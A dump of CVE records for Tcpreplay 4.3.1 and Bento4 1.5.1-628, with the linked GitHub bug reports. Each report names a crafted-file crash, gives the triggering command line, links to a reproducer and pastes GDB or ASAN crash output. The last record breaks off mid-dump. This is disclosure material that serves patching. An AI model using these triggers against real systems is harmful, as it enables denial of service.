[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107085" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/appneta/tcpreplay/issues/536" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4V3SADKXUSHWTVAPU3WLXBDEQUHRA6ZO/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4YAT4AGTHQKB74ETOQPJMV67TSDIAPOC/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EB3ASS7URTIA3IFSBL2DIWJAFKTBJCAW/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MLPY6W7Z7G6PF2JN4LXXHCACYLD4RBG6/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UOSEIQ3D2OONCJEVMGC2TYBC2QX4E5EJ/" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/null-pointer-dereference-vulnerability-in-function-get_ipv6_l4proto-tcpreplay-4-3-1/" } ]

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https://github.com/appneta/tcpreplay/issues/536

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "appneta", "tcpreplay" ]

**Description** - we observed a NULL pointer dereference occured in function` get_ipv6_l4proto()` located at `get.c` .The same be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - tcpreplay-edit -r 80:84 -s 20 -b -C -m 1500 -P --oneatatime -i $INTERFACE $POC **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/tcpreplay/TR_NP?raw=true) **Debug** - **GDB** - ``` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x0 $rbx : 0x5555557aac20 → 0x00005555557b56a0 → 0x0000337330706e65 ("enp0s3"?) $rcx : 0xed $rdx : 0x8 $rsp : 0x7fffffffdad0 → 0x000000c5ffffdb20 $rbp : 0x7fffffffdb00 → 0x00007fffffffdb70 → 0x00007fffffffdbb0 → 0x00007fffffffdc50 → 0x00007fffffffdda0 → 0x00007fffffffdef0 → 0x00007fffffffdf20 → 0x00007fffffffdfb0 $rsi : 0xc5 $rdi : 0x7ffff7fcd6ae → 0x7ffff7b8f5600000 $rip : 0x55555557694c → <get_ipv6_l4proto+194> movzx eax, BYTE PTR [rax] $r8 : 0x2f $r9 : 0x7ffff7e4d010 → 0x0000000000000000 $r10 : 0x5555557b9700 → 0x0000000000000000 $r11 : 0x7ffff78d6000 → <__fread_chk+0> push r13 $r12 : 0x5555555599e0 → <_start+0> xor ebp, ebp $r13 : 0x7fffffffe4d0 → 0x000000000000000e $r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $fs: 0x0000 $ds: 0x0000 $ss: 0x002b $es: 0x0000 $gs: 0x0000 $cs: 0x0033 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffdad0│+0x00: 0x000000c5ffffdb20 ← $rsp 0x00007fffffffdad8│+0x08: 0x00007ffff7e4d01e → 0x80000000ed000062 ("b"?) 0x00007fffffffdae0│+0x10: 0x00000a555c5ace1f 0x00007fffffffdae8│+0x18: 0x00fdebbbffffdb70 0x00007fffffffdaf0│+0x20: 0x00007ffff7fcd6ae → 0x7ffff7b8f5600000 0x00007fffffffdaf8│+0x28: 0x0000000000000000 0x00007fffffffdb00│+0x30: 0x00007fffffffdb70 → 0x00007fffffffdbb0 → 0x00007fffffffdc50 → 0x00007fffffffdda0 → 0x00007fffffffdef0 → 0x00007fffffffdf20 → 0x00007fffffffdfb0 ← $rbp 0x00007fffffffdb08│+0x38: 0x0000555555569599 → <do_checksum+201> movzx eax, al ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x55555557693f <get_ipv6_l4proto+181> call 0x555555576798 <get_ipv6_next> 0x555555576944 <get_ipv6_l4proto+186> mov QWORD PTR [rbp-0x8], rax 0x555555576948 <get_ipv6_l4proto+190> mov rax, QWORD PTR [rbp-0x8] → 0x55555557694c <get_ipv6_l4proto+194> movzx eax, BYTE PTR [rax] 0x55555557694f <get_ipv6_l4proto+197> mov BYTE PTR [rbp-0x11], al 0x555555576952 <get_ipv6_l4proto+200> mov rax, QWORD PTR [rbp-0x8] 0x555555576956 <get_ipv6_l4proto+204> mov QWORD PTR [rbp-0x10], rax 0x55555557695a <get_ipv6_l4proto+208> jmp 0x555555576962 <get_ipv6_l4proto+216> 0x55555557695c <get_ipv6_l4proto+210> movzx eax, BYTE PTR [rbp-0x11] ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:get.c+539 ]──── 534 case TCPR_IPV6_NH_ROUTING: 535 case TCPR_IPV6_NH_DESTOPTS: 536 case TCPR_IPV6_NH_HBH: 537 dbgx(3, "Jumping to next extension header (0x%hhx)", proto); 538 exthdr = get_ipv6_next((struct tcpr_ipv6_ext_hdr_base *)ptr, len); // exthdr=0x00007fffffffdaf8 → 0x0000000000000000 → 539 proto = exthdr->ip_nh; 540 ptr = (u_char *)exthdr; 541 break; 542 543 /* should be TCP, UDP or the like */ 544 default: ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "tcpreplay-edit", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x55555557694c → Name: get_ipv6_l4proto(ip6_hdr=0x7ffff7e4d01e, len=0xc5) [#1] 0x555555569599 → Name: do_checksum(tcpedit=0x5555557b86c0, data=0x7ffff7e4d01e "b", proto=0x0, len=0xed) [#2] 0x555555565fbc → Name: fix_ipv4_checksums(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdd30, ip_hdr=0x7ffff7e4d01e) [#3] 0x555555564991 → Name: tcpedit_packet(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdca0, pktdata=0x7fffffffdc90, direction=TCPR_DIR_C2S) [#4] 0x55555555c589 → Name: send_packets(ctx=0x5555557aa260, pcap=0x5555557ba860, idx=0x0) [#5] 0x555555563169 → Name: replay_file(ctx=0x5555557aa260, idx=0x0) [#6] 0x555555562a1b → Name: tcpr_replay_index(ctx=0x5555557aa260) [#7] 0x555555562341 → Name: tcpreplay_replay(ctx=0x5555557aa260) [#8] 0x55555555f112 → Name: main(argc=0x1, argv=0x7fffffffe540) gef➤ p exthdr Cannot access memory at address 0x0 gef➤ p exthdr->ip_nh Cannot access memory at address 0x0 ```

NULL pointer dereference get_ipv6_l4proto()

https://api.github.com/repos/appneta/tcpreplay/issues/536/comments

2

2019-02-07T06:58:32Z

2019-03-12T20:03:42Z

https://github.com/appneta/tcpreplay/issues/536

407,565,134

536

CVE-2019-8378

2019-02-17T02:29:00.363

An issue was discovered in Bento4 1.5.1-628. A heap-based buffer over-read exists in AP4_BitStream::ReadBytes() in Codecs/Ap4BitStream.cpp, a similar issue to CVE-2017-14645. It can be triggered by sending a crafted file to the aac2mp4 binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/363" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/a-heap-buffer-overflow-vulnerability-in-the-function-ap4_bitstreamreadbytes-bento4-1-5-1-628/" } ]

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https://github.com/axiomatic-systems/Bento4/issues/363

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

**Description** - we observed a heap-buffer-overflow occured in function` AP4_BitStream::ReadBytes()` located in `Ap4BitStream.cpp`.The same be triggered by sending a crafted file to the aac2mp4 binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - `./aac2mp4 $POC output.mp4` **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/HEAP_BOF_POC?raw=true) **Degub** - **ASAN REPORT** - ```` ASAN REPORT: ==2056==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x625000002100 at pc 0x7ffff6e93733 bp 0x7fffffffc840 sp 0x7fffffffbfe8 READ of size 4294967289 at 0x625000002100 thread T0 #0 0x7ffff6e93732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) #1 0x555555868840 in AP4_BitStream::ReadBytes(unsigned char*, unsigned int) /home/aceteam/Desktop/packages/Bento4/Source/C++/Codecs/Ap4BitStream.cpp:192 #2 0x555555864ecb in main /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Aac2Mp4/Aac2Mp4.cpp:142 #3 0x7ffff64a9b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #4 0x555555864369 in _start (/home/aceteam/Desktop/packages/Bento4/builds/aac2mp4+0x310369) 0x625000002100 is located 0 bytes to the right of 8192-byte region [0x625000000100,0x625000002100) allocated by thread T0 here: #0 0x7ffff6efa618 in operator new [] (unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0618) #1 0x555555867a67 in AP4_BitStream: AP4_BitStream () /home/aceteam/Desktop/packages/Bento4/Source/C++/Codecs/Ap4BitStream.cpp:45 #2 0x5555558661f2 in AP4_AdtsParser: AP4_AdtsParser () /home/aceteam/Desktop/packages/Bento4/Source/C++/Codecs/Ap4AdtsParser.cpp:125 #3 0x55555586492a in main /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Aac2Mp4/Aac2Mp4.cpp:100 #4 0x7ffff64a9b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) Shadow bytes around the buggy address: 0x0c4a7fff83d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff83e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff83f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c4a7fff8410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c4a7fff8420: [fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8440: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8450: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8460: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c4a7fff8470: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2056==ABORTING ```` **GDB** - ```` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x7ffef70a4010 → 0x0000000000000000 $rbx : 0x7fffffffcc48 → 0x000055555588f8d0 → 0xf7c6e70fa88241a4 $rcx : 0x555555890136 → 0x100389d9fd941721 $rdx : 0xfffffff9 $rsp : 0x7fffffffcb48 → 0x00005555555bd601 → <AP4_BitStream::ReadBytes(unsigned+0> mov rax, QWORD PTR [rbp-0x18] $rbp : 0x7fffffffcb80 → 0x00007fffffffdca0 → 0x0000555555631190 → <__libc_csu_init+0> push r15 $rsi : 0x555555890136 → 0x100389d9fd941721 $rdi : 0x7ffef70a4010 → 0x0000000000000000 $rip : 0x7ffff74fe6d3 → <__memmove_sse2_unaligned_erms+435> movups xmm8, XMMWORD PTR [rsi+rdx*1-0x10] $r8 : 0xffffffff $r9 : 0x0 $r10 : 0x22 $r11 : 0x246 $r12 : 0xfffffff9 $r13 : 0x7fffffffdd80 → 0x0000000000000003 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry parity ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $gs: 0x0000 $fs: 0x0000 $ds: 0x0000 $ss: 0x002b $es: 0x0000 $cs: 0x0033 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffcb48│+0x00: 0x00005555555bd601 → <AP4_BitStream::ReadBytes(unsigned+0> mov rax, QWORD PTR [rbp-0x18] ← $rsp 0x00007fffffffcb50│+0x08: 0x00007fffffffcb80 → 0x00007fffffffdca0 → 0x0000555555631190 → <__libc_csu_init+0> push r15 0x00007fffffffcb58│+0x10: 0xfffffff95589a0a0 0x00007fffffffcb60│+0x18: 0x00007ffef70a4010 → 0x0000000000000000 0x00007fffffffcb68│+0x20: 0x00007fffffffcc48 → 0x000055555588f8d0 → 0xf7c6e70fa88241a4 0x00007fffffffcb70│+0x28: 0x000055555589a070 → 0x00005555558714c8 → 0x00005555555bec94 → <AP4_MemoryByteStream::~AP4_MemoryByteStream()+0> push rbp 0x00007fffffffcb78│+0x30: 0xe9967b959a292100 0x00007fffffffcb80│+0x38: 0x00007fffffffdca0 → 0x0000555555631190 → <__libc_csu_init+0> push r15 ← $rbp ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x7ffff74fe6c6 <__memmove_sse2_unaligned_erms+422> movups xmm5, XMMWORD PTR es:[rsi+0x10] 0x7ffff74fe6cb <__memmove_sse2_unaligned_erms+427> movups xmm6, XMMWORD PTR [rsi+0x20] 0x7ffff74fe6cf <__memmove_sse2_unaligned_erms+431> movups xmm7, XMMWORD PTR [rsi+0x30] → 0x7ffff74fe6d3 <__memmove_sse2_unaligned_erms+435> movups xmm8, XMMWORD PTR [rsi+rdx*1-0x10] 0x7ffff74fe6d9 <__memmove_sse2_unaligned_erms+441> lea r11, [rdi+rdx*1-0x10] 0x7ffff74fe6de <__memmove_sse2_unaligned_erms+446> lea rcx, [rsi+rdx*1-0x10] 0x7ffff74fe6e3 <__memmove_sse2_unaligned_erms+451> mov r9, r11 0x7ffff74fe6e6 <__memmove_sse2_unaligned_erms+454> mov r8, r11 0x7ffff74fe6e9 <__memmove_sse2_unaligned_erms+457> and r8, 0xf ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "aac2mp4", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x7ffff74fe6d3 → Name: __memmove_sse2_unaligned_erms() [#1] 0x5555555bd601 → Name: AP4_BitStream::ReadBytes(this=0x7fffffffcc48, bytes=0x7ffef70a4010 "", byte_count=0xfffffff9) [#2] 0x5555555bc395 → Name: main(argc=0x3, argv=0x7fffffffdd88) ````

A heap-buffer-overflow occured in function AP4_BitStream::ReadBytes()

https://api.github.com/repos/axiomatic-systems/Bento4/issues/363/comments

0

2019-01-29T07:09:12Z

2019-02-01T10:24:02Z

https://github.com/axiomatic-systems/Bento4/issues/363

404,151,105

363

CVE-2019-8380

2019-02-17T02:29:00.473

An issue was discovered in Bento4 1.5.1-628. A NULL pointer dereference occurs in AP4_Track::GetSampleIndexForTimeStampMs() located in Core/Ap4Track.cpp. It can triggered by sending a crafted file to the mp4audioclip binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/366" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/null-pointer-dereference-vulnerability-in-function-ap4_trackgetsampleindexfortimestampms-bento4-1-5-1-628/" } ]

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https://github.com/axiomatic-systems/Bento4/issues/366

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

**Description** - we observed a NULL pointer dereference occured in `AP4_Track::GetSampleIndexForTimeStampMs()` located in `Ap4Track.cpp`.The same be triggered by sending a crafted file to the mp4audioclip binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - `./mp4audioclip --start 0 --duration 100 $POC OUTPUTFILE` **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/NP_POC?raw=true) **Debug** - **GDB** - ``` 0x00000000004585cb in AP4_Track::GetSampleIndexForTimeStampMs (this=0x6040000001d0, ts_ms=0x0, index=@0x7fffffffdb10: 0x0) at /home/ace/Downloads/sources/Bento4/Source/C++/Core/Ap4Track.cpp:485 485 return m_SampleTable->GetSampleIndexForTimeStamp(ts, index); [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x0 $rbx : 0x7fffffffdd70 → 0x0000000000000000 $rcx : 0x0 $rdx : 0x0 $rsp : 0x7fffffffd9d0 → 0x00007fffffffda00 → 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 $rbp : 0x7fffffffda00 → 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 $rsi : 0x0 $rdi : 0x0 $rip : 0x4585cb → <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rax, QWORD PTR [rax] $r8 : 0x0 $r9 : 0x0 $r10 : 0x60b0000000e0 → 0x14ffffff00000002 $r11 : 0x7fffffffd1d8 → 0x000060c000000090 → 0x00000000005caca0 → 0x00000000004809d6 → <AP4_List<AP4_TrakAtom>::~AP4_List()+0> push rbp $r12 : 0xffffffffb56 → 0x0000000000000000 $r13 : 0x7fffffffdab0 → 0x0000000041b58ab3 $r14 : 0x60b0000000f0 → 0x00000000005ecdb0 → 0x000000000048acd4 → <AP4_SyntheticSampleTable::~AP4_SyntheticSampleTable()+0> push rbp $r15 : 0x0 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $ss: 0x002b $fs: 0x0000 $es: 0x0000 $ds: 0x0000 $gs: 0x0000 $cs: 0x0033 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffd9d0│+0x00: 0x00007fffffffda00 → 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 ← $rsp 0x00007fffffffd9d8│+0x08: 0x00007fffffffdb10 → 0x00007fff00000000 0x00007fffffffd9e0│+0x10: 0x000000000000bb80 0x00007fffffffd9e8│+0x18: 0x00006040000001d0 → 0x0000000000596420 → 0x000000000045725e → <AP4_Track::~AP4_Track()+0> push rbp 0x00007fffffffd9f0│+0x20: 0x0000000a00000000 → 0x0000000000000000 0x00007fffffffd9f8│+0x28: 0x0000000000000000 0x00007fffffffda00│+0x30: 0x00007fffffffdda0 → 0x0000000000578490 → <__libc_csu_init+0> push r15 ← $rbp 0x00007fffffffda08│+0x38: 0x0000000000451b68 → <main+1950> test eax, eax ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x4585c0 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> div BYTE PTR [rax+rcx*1+0x48] 0x4585c4 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov edi, edx 0x4585c6 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> call 0x451140 <__asan_report_load8@plt> → 0x4585cb <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rax, QWORD PTR [rax] 0x4585ce <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> add rax, 0x40 0x4585d2 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rdx, rax 0x4585d5 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> mov rsi, rdx 0x4585d8 <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> shr rsi, 0x3 0x4585dc <AP4_Track::GetSampleIndexForTimeStampMs(unsigned+0> add rsi, 0x7fff8000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:/home/ace/Downloads/sources/Bento4/Source/C++/Core/Ap4Track.cpp+485 ]──── 480 AP4_Track::GetSampleIndexForTimeStampMs(AP4_UI32 ts_ms, AP4_Ordinal& index) 481 { 482 // convert the ts in the timescale of the track's media 483 AP4_UI64 ts = AP4_ConvertTime(ts_ms, 1000, GetMediaTimeScale()); 484 → 485 return m_SampleTable->GetSampleIndexForTimeStamp(ts, index); 486 } 487 488 /*---------------------------------------------------------------------- 489 | AP4_Track::GetNearestSyncSampleIndex 490 +---------------------------------------------------------------------*/ ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "mp4audioclip", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x4585cb → Name: AP4_Track::GetSampleIndexForTimeStampMs(this=0x6040000001d0, ts_ms=0x0, index=@0x7fffffffdb10) [#1] 0x451b68 → Name: main(argc=0x7, argv=0x7fffffffdec0) gef➤ p ts $4 = 0x0 gef➤ p index $5 = (AP4_Ordinal &) @0x7fffffffdb10: 0x0 gef➤ p m_SampleTable $6 = (AP4_SampleTable *) 0x0 gef➤ p m_SampleTable->GetSampleIndexForTimeStamp(ts, index) Cannot access memory at address 0x0 ```

NULL POINTER DEREFERENCE in AP4_Track::GetSampleIndexForTimeStampMs()

https://api.github.com/repos/axiomatic-systems/Bento4/issues/366/comments

0

2019-02-07T06:32:20Z

2019-02-07T06:32:50Z

https://github.com/axiomatic-systems/Bento4/issues/366

407,559,605

366

CVE-2019-8381

2019-02-17T02:29:00.537

An issue was discovered in Tcpreplay 4.3.1. An invalid memory access occurs in do_checksum in checksum.c. It can be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/appneta/tcpreplay/issues/538" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4V3SADKXUSHWTVAPU3WLXBDEQUHRA6ZO/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EB3ASS7URTIA3IFSBL2DIWJAFKTBJCAW/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MLPY6W7Z7G6PF2JN4LXXHCACYLD4RBG6/" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/invalid-memory-access-vulnerability-in-function-do_checksum-tcpreplay-4-3-1/" } ]

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https://github.com/appneta/tcpreplay/issues/538

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "appneta", "tcpreplay" ]

**Description** - we observed that there is an Invalid memory access at `do_checksum ()` in `checksum.c` .The same be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - tcpreplay-edit -r 80:84 -s 20 -b -C -m 1500 -P --oneatatime -i $INTERFACE $POC **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/tcpreplay/IMA?raw=true) **Debug** - **GDB** - ``` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x555500000000 $rbx : 0x00005555557b7bb8 → 0x0000337330706e65 ("enp0s3"?) $rcx : 0x3 $rdx : 0xffffffffaa841df2 $rsp : 0x00007fffffffd930 → 0x0000000000000000 $rbp : 0x00007fffffffd990 → 0x00007fffffffd9d0 → 0x00007fffffffda70 → 0x00007fffffffdbc0 → 0x00007fffffffdd10 → 0x00007fffffffdd40 → 0x00007fffffffddd0 → 0x00007fffffffe210 $rsi : 0x3 $rdi : 0x00005555557be20e → 0x0011323003000062 ("b"?) $rip : 0x00005555555696dc → <do_checksum+524> movzx eax, WORD PTR [rax+0x6] $r8 : 0x15 $r9 : 0x00005555557be200 → 0x6567616d692f0000 $r10 : 0x00005555557b9700 → 0x0000000000000000 $r11 : 0x00007ffff78d6000 → <__fread_chk+0> push r13 $r12 : 0x00007ffff7bbb954 → 0x6800424d30314e45 ("EN10MB"?) $r13 : 0x00007fffffffe2f0 → 0x000000000000000e $r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY PARITY ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 